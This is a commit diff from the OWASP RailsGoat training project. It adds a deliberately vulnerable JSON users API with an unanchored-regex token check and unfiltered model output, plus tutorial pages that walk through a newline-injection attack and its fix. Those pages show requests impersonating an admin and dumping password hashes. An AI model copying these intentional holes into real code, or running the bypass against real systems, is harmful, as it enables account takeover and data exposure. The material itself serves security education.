Merge branch 'master' of github.com:OWASP/railsgoat into pr-96
This commit is contained in:
@@ -0,0 +1,57 @@
|
||||
class Api::V1::UsersController < ApplicationController
|
||||
|
||||
skip_before_filter :authenticated
|
||||
before_filter :valid_api_token
|
||||
before_filter :extrapolate_user
|
||||
|
||||
respond_to :json
|
||||
|
||||
def index
|
||||
# We removed the .as_json code from the model, just seemed like extra work.
|
||||
# dunno, maybe useful at a later time?
|
||||
#respond_with @user.admin ? User.all.as_json : @user.as_json
|
||||
|
||||
respond_with @user.admin ? User.all : @user
|
||||
end
|
||||
|
||||
def show
|
||||
respond_with @user.as_json
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def valid_api_token
|
||||
authenticate_or_request_with_http_token do |token, options|
|
||||
# TODO :add some functionality to check if the HTTP Header is valid
|
||||
identify_user(token)
|
||||
end
|
||||
end
|
||||
|
||||
def identify_user(token="")
|
||||
# We've had issues with URL encoding, etc. causing issues so just to be safe
|
||||
# we will go ahead and unescape the user's token
|
||||
unescape_token(token)
|
||||
@clean_token =~ /(.*?)-(.*)/
|
||||
id = $1
|
||||
hash = $2
|
||||
(id && hash) ? true : false
|
||||
check_hash(id, hash) ? true : false
|
||||
end
|
||||
|
||||
def check_hash(id, hash)
|
||||
digest = OpenSSL::Digest::SHA1.hexdigest("#{ACCESS_TOKEN_SALT}:#{id}")
|
||||
hash == digest
|
||||
end
|
||||
|
||||
# We had some issues with the token and url encoding...
|
||||
# this is an attempt to normalize the data.
|
||||
def unescape_token(token="")
|
||||
@clean_token = CGI::unescape(token)
|
||||
end
|
||||
|
||||
# Added a method to make it easy to figure out who the user is.
|
||||
def extrapolate_user
|
||||
@user = User.find_by_id(@clean_token.split("-").first)
|
||||
end
|
||||
|
||||
end
|
||||
@@ -83,7 +83,8 @@ class TutorialsController < ApplicationController
|
||||
def guard
|
||||
end
|
||||
|
||||
|
||||
def logic_flaws
|
||||
end
|
||||
|
||||
def mass_assignment
|
||||
end
|
||||
|
||||
@@ -0,0 +1,2 @@
|
||||
module Api::V1::UsersHelper
|
||||
end
|
||||
@@ -37,6 +37,13 @@ class User < ActiveRecord::Base
|
||||
def full_name
|
||||
"#{self.first_name} #{self.last_name}"
|
||||
end
|
||||
|
||||
=begin
|
||||
# Instead of the entire user object being returned, we can use this to filter.
|
||||
def as_json
|
||||
super(only: [:user_id, :email, :first_name, :last_name])
|
||||
end
|
||||
=end
|
||||
|
||||
private
|
||||
|
||||
|
||||
@@ -112,6 +112,9 @@
|
||||
<li id="constantize">
|
||||
<%= link_to "Constantize", constantize_tutorials_path %>
|
||||
</li>
|
||||
<li id="logic_flaws">
|
||||
<%= link_to "Logic Flaws", logic_flaws_tutorials_path %>
|
||||
</li>
|
||||
<!--
|
||||
<li>
|
||||
<a href="#">DB Sessions</a>
|
||||
|
||||
@@ -0,0 +1,144 @@
|
||||
<div class="widget">
|
||||
<div class="widget-header">
|
||||
<div class="title">
|
||||
<span class="fs1" aria-hidden="true" data-icon=""></span> A6 - Sensitive Data Exposure - Model Attributes Exposure
|
||||
</div>
|
||||
</div>
|
||||
<div class="widget-body">
|
||||
<div id="accordion1" class="accordion no-margin">
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseModelOne" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-info icon-white">
|
||||
</i>
|
||||
Description
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body in collapse" id="collapseModelOne" style="height: auto;">
|
||||
<div class="accordion-inner">
|
||||
<p class="desc">
|
||||
The application's API returns a model object (user or users). Using respond_with, the API returns the full model object. It is simple but exposes information such as the user's password and other user attributes that you may wish to keep invisible.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseModelTwo" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-bug icon-white">
|
||||
</i>
|
||||
Bug
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseModelTwo" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
<p class="desc">
|
||||
Within app/controllers/api/v1/users_controller.rb:
|
||||
</p>
|
||||
<pre class="ruby">
|
||||
def index
|
||||
# We removed the .as_json code from the model, just seemed like extra work.
|
||||
# dunno, maybe useful at a later time?
|
||||
#respond_with @user.admin ? User.all.as_json : @user.as_json
|
||||
|
||||
respond_with @user.admin ? User.all : @user
|
||||
end
|
||||
|
||||
def show
|
||||
respond_with @user.as_json
|
||||
end
|
||||
</pre>
|
||||
<p class="desc">
|
||||
The <i>as_json</i> method referenced in the comments section of the index action exists within the user model in order to override and safely protect our model from only rendering certain attributes. It is unused (commented out), app/models/user.rb:
|
||||
</p>
|
||||
<pre class="ruby">
|
||||
# Instead of the entire user object being returned, we can use this to filter.
|
||||
def as_json
|
||||
super(only: [:user_id, :email, :first_name, :last_name])
|
||||
end
|
||||
</pre>
|
||||
<p class="desc">
|
||||
When utilizing the method that most tutorials describe or advocate when rendering model objects via JSON in an API (unsafe), the response looks like this:
|
||||
</p>
|
||||
<pre>
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: application/json; charset=utf-8
|
||||
X-UA-Compatible: IE=Edge
|
||||
ETag: "6b4caf343a20865de174b2b530b945dd"
|
||||
Cache-Control: max-age=0, private, must-revalidate
|
||||
X-Request-Id: c3b0a57861087c0b827aab231747ef0c
|
||||
X-Runtime: 0.051734
|
||||
Connection: close
|
||||
|
||||
{"admin":false,"created_at":"2014-01-23T16:17:10Z","email":
|
||||
"jack@metacorp.com","first_name":"Jack","id":2,"last_name":"Mannino","password":
|
||||
"b46dd2888a0904972649cc880a93f4dd","updated_at":"2014-01-23T16:17:10Z","user_id":2}
|
||||
</pre>
|
||||
<p class="desc">
|
||||
Note that all attributes associated with this user are returned via the API.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseModelThree" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-lightning icon-white">
|
||||
</i>
|
||||
Solution
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseModelThree" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
<p><b>Model Attributes Exposure - ATTACK</b></p>
|
||||
<p class="desc"> Use the API and review the data returned. Additional information on exploiting the API available under the <i>Extras > Logic Flaws</i> Section.</p>
|
||||
<p><b>Model Attributes Exposure - SOLUTION</b></p>
|
||||
<p class="desc">
|
||||
Uncomment the <i>as_json</i> method within the user model. Additionally, call <i>.as_json</i> on any User model object you would like to return via the API or other means. Example:
|
||||
</p>
|
||||
<pre class="ruby">
|
||||
respond_with @user.admin ? User.all.as_json : @user.as_json
|
||||
</pre>
|
||||
<p class="desc">
|
||||
Upon uncommenting the <i>as_json</i> method within the User model, the <i>as_json</i> method will ensure the API output only returns those attributes you have allowed in the following code:
|
||||
</p>
|
||||
<pre class="ruby">
|
||||
def as_json
|
||||
super(<span style="background-color:yellow">only: [:user_id, :email, :first_name, :last_name]</span>)
|
||||
end
|
||||
</pre>
|
||||
<p class="desc">
|
||||
The response from the API should look like:
|
||||
</p>
|
||||
<pre>
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: application/json; charset=utf-8
|
||||
X-UA-Compatible: IE=Edge
|
||||
ETag: "2333488e856669ac637e37cb4cf09cb6"
|
||||
Cache-Control: max-age=0, private, must-revalidate
|
||||
X-Request-Id: baa6a1c90004838793614e4c61633767
|
||||
X-Runtime: 0.092768
|
||||
Connection: close
|
||||
|
||||
{"email":"jack@metacorp.com","first_name":"Jack","last_name":"Mannino","user_id":2}
|
||||
</pre>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a style="background-color: rgb(181, 121, 158)" href="#collapseModelFour" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-aid icon-white">
|
||||
</i>
|
||||
Hint
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseModelFour" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
We have an API available... what does it return?
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
@@ -0,0 +1,219 @@
|
||||
<div class="widget">
|
||||
<div class="widget-header">
|
||||
<div class="title">
|
||||
<span class="fs1" aria-hidden="true" data-icon=""></span> Logic Flaws - Broken Regular Expression
|
||||
</div>
|
||||
</div>
|
||||
<div class="widget-body">
|
||||
<div id="accordion1" class="accordion no-margin">
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseOne" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-info icon-white">
|
||||
</i>
|
||||
Description
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body in collapse" id="collapseOne" style="height: auto;">
|
||||
<div class="accordion-inner">
|
||||
<p class="desc">
|
||||
Regular expressions are a common way to extract the data you want from the data you do <b><u>not</u></b> want. It is common for Ruby developers to forget that in Ruby regexp anchors are \A and \z. This allows strict enforcement so that potentially dangerous characters such as the newline character aren't able to bypass security-based regular expression checks.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseTwo" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-bug icon-white">
|
||||
</i>
|
||||
Bug
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseTwo" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
<p>
|
||||
Within the file app/controllers/api/v1/users_controller.rb:
|
||||
</p>
|
||||
<pre class="ruby">
|
||||
before_filter :valid_api_token
|
||||
before_filter :extrapolate_user
|
||||
</pre>
|
||||
<p class="desc">
|
||||
The above two lines specify that we will run these validations prior to allowing a user to interact with the API endpoints.
|
||||
</p>
|
||||
<pre class="ruby">
|
||||
def valid_api_token
|
||||
authenticate_or_request_with_http_token do |token, options|
|
||||
# TODO :add some functionality to check if the HTTP Header is valid
|
||||
identify_user(token)
|
||||
end
|
||||
end
|
||||
|
||||
def identify_user(token="")
|
||||
# We've had issues with URL encoding, etc. causing issues so just to be safe
|
||||
# we will go ahead and unescape the user's token
|
||||
unescape_token(token)
|
||||
<span style="background-color:yellow">@clean_token =~ /(.*?)-(.*)/</span>
|
||||
<span style="background-color:yellow">id = $1</span>
|
||||
hash = $2
|
||||
(id && hash) ? true : false
|
||||
<span style="background-color:yellow">check_hash(id, hash) ? true : false</span>
|
||||
end
|
||||
|
||||
def check_hash(id, hash)
|
||||
<span style="background-color:yellow">digest = OpenSSL::Digest::SHA1.hexdigest("#{ACCESS_TOKEN_SALT}:#{id}")</span>
|
||||
hash == digest
|
||||
end
|
||||
|
||||
# We had some issues with the token and url encoding...
|
||||
# this is an attempt to normalize the data.
|
||||
def unescape_token(token="")
|
||||
<span style="background-color:yellow">@clean_token = CGI::unescape(token)</span>
|
||||
end
|
||||
</pre>
|
||||
<p class="desc">
|
||||
This first validation, <i>valid_api_token</i>, extracts the user's access token. Within the token there is a user ID and a hash. The application extracts both values, hashes the user ID and the application's secret salt together. If the digest hash matches with the user provided hash, the entire token is valid. <br/><br/>Meaning, if the hash (<i>check_hash</i>) doesn't match the hash provided by the user, the token is invalid and therefore unauthorized. Alternatively, the hash provided is valid but the user ID is invalid. <br/><br/>The next validation, built after this check, extrapolates the user from that hash. In theory, because we have already validated both the user ID and hash are valid, we can just extract the user ID from what has been provided and determine user access.
|
||||
</p>
|
||||
<pre class="ruby">
|
||||
# Added a method to make it easy to figure out who the user is.
|
||||
def extrapolate_user
|
||||
<span style="background-color:yellow">@user = User.find_by_id(@clean_token.split("-").first)</span>
|
||||
end
|
||||
</pre>
|
||||
<p class="desc">
|
||||
Unfortunately, we've made a mistake. The regular expression can be bypassed by entering a newline character (url encoded: <i>%0a</i>).We meant or expected for a user to enter a token such as:
|
||||
</p>
|
||||
<pre>
|
||||
Authorization: Token token=1-01de24d75cffaa66db205278d1cf900bf087a737
|
||||
</pre>
|
||||
<p class="desc">
|
||||
However, the user actually enters:
|
||||
</p>
|
||||
<pre>
|
||||
Authorization: Token token=2%0a1-01de24d75cffaa66db205278d1cf900bf087a737
|
||||
</pre>
|
||||
<p class="desc">
|
||||
This means that our token will pass the initial hash check. Additionally, when we perform the split by the hyphen (<i>"-"</i>) character, and retrieve the first value from the newly created array (what should be a valid user ID), it will be <i>"2\n1"</i>. When performing a <i>find_by_*</i>, ActiveRecord will ignore everything from the newline character on and return the result of the first character. This means, we can become another user!
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseThree" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-lightning icon-white">
|
||||
</i>
|
||||
Solution
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseThree" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
<p><b> Broken Regular Expression ATTACK:</b></p>
|
||||
<p class="desc">
|
||||
As discussed in the Bug Section (above), you can prepend the user ID of the person whose information you would like to retrieve followed by a newline character and your user's valid API token. The following is an example of what our request <i>should</i> look like:
|
||||
</p>
|
||||
<pre>
|
||||
GET /api/v1/users HTTP/1.1
|
||||
Host: railsgoat.dev
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:26.0) Gecko/20100101 Firefox/26.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
<span style="background-color:yellow">Authorization: Token token=2-050ddd40584978fe9e82840b8b95abb98e4786dc</span>
|
||||
Content-Length: 4
|
||||
</pre>
|
||||
<p class="desc">
|
||||
This is the response:
|
||||
</p>
|
||||
<pre>
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: application/json; charset=utf-8
|
||||
X-UA-Compatible: IE=Edge
|
||||
ETag: "6b4caf343a20865de174b2b530b945dd"
|
||||
Cache-Control: max-age=0, private, must-revalidate
|
||||
X-Request-Id: 0ef6e5e91730bfecb9711c0ddad5cc7b
|
||||
X-Runtime: 0.008342
|
||||
Connection: close
|
||||
|
||||
{"admin":false,"created_at":"2014-01-23T16:17:10Z","email":"jack@metacorp.com",
|
||||
"first_name":"Jack","id":2,"last_name":"Mannino","password":"b46dd2888a0904972649cc880a93f4dd",
|
||||
"updated_at":"2014-01-23T16:17:10Z","user_id":2}
|
||||
</pre>
|
||||
<p class="desc">
|
||||
We want to access this endpoint as an admin (user ID of 1). We will change our request so that we can emulate <b>being</b> and admin by prepending 1%0a:
|
||||
</p>
|
||||
<pre>
|
||||
GET /api/v1/users HTTP/1.1
|
||||
Host: railsgoat.dev
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:26.0) Gecko/20100101 Firefox/26.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
Authorization: Token token=<span style="background-color:yellow">1%0a</span>2-050ddd40584978fe9e82840b8b95abb98e4786dc
|
||||
Content-Length: 4
|
||||
</pre>
|
||||
<p class="desc">
|
||||
The following is a response from the application (note - we get bonus points because as an admin we can retrieve <b> EVERYONE's</b> data):
|
||||
</p>
|
||||
<pre>
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: application/json; charset=utf-8
|
||||
X-UA-Compatible: IE=Edge
|
||||
ETag: "916d3a7b17b24bd84806393e5ef4ccd9"
|
||||
Cache-Control: max-age=0, private, must-revalidate
|
||||
X-Request-Id: e56b6bc1c6d6b875249f6d27b9f9450c
|
||||
X-Runtime: 0.009111
|
||||
Connection: close
|
||||
|
||||
[{"admin":true,"created_at":"2014-01-23T16:17:10Z","email":"admin@metacorp.com","first_name":
|
||||
"Admin","id":1,"last_name":"","password":"c93ccd78b2076528346216b3b2f701e6","updated_at":"2014-01-23T16:17:10Z","user_id":1},
|
||||
{"admin":false,"created_at":"2014-01-23T16:17:10Z","email":"jack@metacorp.com","first_name":"Jack","id":2,"last_name":"Mannino",
|
||||
"password":"b46dd2888a0904972649cc880a93f4dd","updated_at":"2014-01-23T16:17:10Z","user_id":2},{"admin":false,"created_at":
|
||||
"2014-01-23T16:17:10Z","email":"jim@metacorp.com","first_name":"Jim","id":3,"last_name":"Manico","password":
|
||||
"e1eb29f815193265b57d31bb4d9de140","updated_at":"2014-01-23T16:17:10Z","user_id":3},{"admin":false,
|
||||
"created_at":"2014-01-23T16:17:10Z","email":"mike@metacorp.com","first_name":"Mike","id":4,"last_name":"McCabe",
|
||||
"password":"df5d9020fa0f31adc4fd279020f587c8","updated_at":"2014-01-23T16:17:10Z","user_id":4},{"admin":false,"created_at":
|
||||
"2014-01-23T16:17:10Z","email":"ken@metacorp.com","first_name":"Ken","id":5,"last_name":"Johnson","password":
|
||||
"67a2faf94e8e71113617d4b72f851bf0","updated_at":"2014-01-23T16:17:10Z","user_id":5},{"admin":null,"created_at":
|
||||
"2014-03-09T13:58:28Z","email":"test1@test.com","first_name":"test","id":6,"last_name":"test","password":
|
||||
"05a671c66aefea124cc08b76ea6d30bb","updated_at":"2014-03-09T13:58:28Z","user_id":6},{"admin":null,"created_at":
|
||||
"2014-03-10T00:13:12Z","email":"test2@test.com","first_name":"test","id":7,"last_name":"test","password":
|
||||
"91482305bacc71bd52612cce07135b77","updated_at":"2014-03-10T00:13:12Z","user_id":7}]
|
||||
</pre>
|
||||
<p><b> Broken Regular Expression SOLUTION:</b></p>
|
||||
<p class="desc">
|
||||
There are many things wrong with how we are going about doing this but, for a simple fix, you can anchor the regular expression to reject/ignore newline characters.
|
||||
</p>
|
||||
<pre class="ruby">
|
||||
def identify_user(token="")
|
||||
# We've had issues with URL encoding, etc. causing issues so just to be safe
|
||||
# we will go ahead and unescape the user's token
|
||||
unescape_token(token)
|
||||
@clean_token =~ /<span style="background-color:yellow">\A</span>(.*?)-(.*)<span style="background-color:yellow">\z</span>/
|
||||
id = $1
|
||||
hash = $2
|
||||
(id && hash) ? true : false
|
||||
check_hash(id, hash) ? true : false
|
||||
end
|
||||
</pre>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a style="background-color: rgb(181, 121, 158)" href="#collapseFour" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-aid icon-white">
|
||||
</i>
|
||||
Hint
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseFour" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
An API token? Interested to see what calls I can make! What are the closing tags for Ruby again?
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
@@ -11,6 +11,12 @@
|
||||
<%= render :partial => "layouts/tutorial/exposure/ssn" %>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="row-fluid">
|
||||
<div class="span12">
|
||||
<%= render :partial => "layouts/tutorial/exposure/model_attributes_exposure" %>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@@ -0,0 +1,19 @@
|
||||
<div class="dashboard-wrapper">
|
||||
<div class="main-container">
|
||||
<div class="row-fluid">
|
||||
<div class="span12">
|
||||
<%= render :partial => ("layouts/tutorial/logic_flaws/broken_regexp")%>
|
||||
</div> <!-- End Span12-->
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<script type="text/javascript">
|
||||
function makeActive(){
|
||||
$('li[id="logic_flaws"]').addClass('active');
|
||||
$('li[id="submenu"]').addClass('active open');
|
||||
};
|
||||
|
||||
$(document).ready(makeActive);
|
||||
</script>
|
||||
@@ -0,0 +1 @@
|
||||
ACCESS_TOKEN_SALT = "S4828341189aefiasd#ASDF"
|
||||
+8
-1
@@ -33,7 +33,7 @@ Railsgoat::Application.routes.draw do
|
||||
|
||||
resources :messages do
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
||||
get "download" => "benefit_forms#download"
|
||||
@@ -58,6 +58,7 @@ Railsgoat::Application.routes.draw do
|
||||
get "mass_assignment"
|
||||
get "constantize"
|
||||
get "gauntlt"
|
||||
get "logic_flaws"
|
||||
end
|
||||
end
|
||||
|
||||
@@ -81,6 +82,12 @@ Railsgoat::Application.routes.draw do
|
||||
get "home"
|
||||
end
|
||||
end
|
||||
|
||||
namespace :api, defaults: {format: 'json'} do
|
||||
namespace :v1 do
|
||||
resources :users
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
root :to => "sessions#new"
|
||||
|
||||
@@ -0,0 +1,5 @@
|
||||
require 'spec_helper'
|
||||
|
||||
describe Api::V1::UsersController do
|
||||
|
||||
end
|
||||
@@ -0,0 +1,15 @@
|
||||
require 'spec_helper'
|
||||
|
||||
# Specs in this file have access to a helper object that includes
|
||||
# the Api::V1::UsersHelper. For example:
|
||||
#
|
||||
# describe Api::V1::UsersHelper do
|
||||
# describe "string concat" do
|
||||
# it "concats two strings with spaces" do
|
||||
# expect(helper.concat_strings("this","that")).to eq("this that")
|
||||
# end
|
||||
# end
|
||||
# end
|
||||
describe Api::V1::UsersHelper do
|
||||
pending "add some examples to (or delete) #{__FILE__}"
|
||||
end
|
||||
Reference in New Issue
Block a user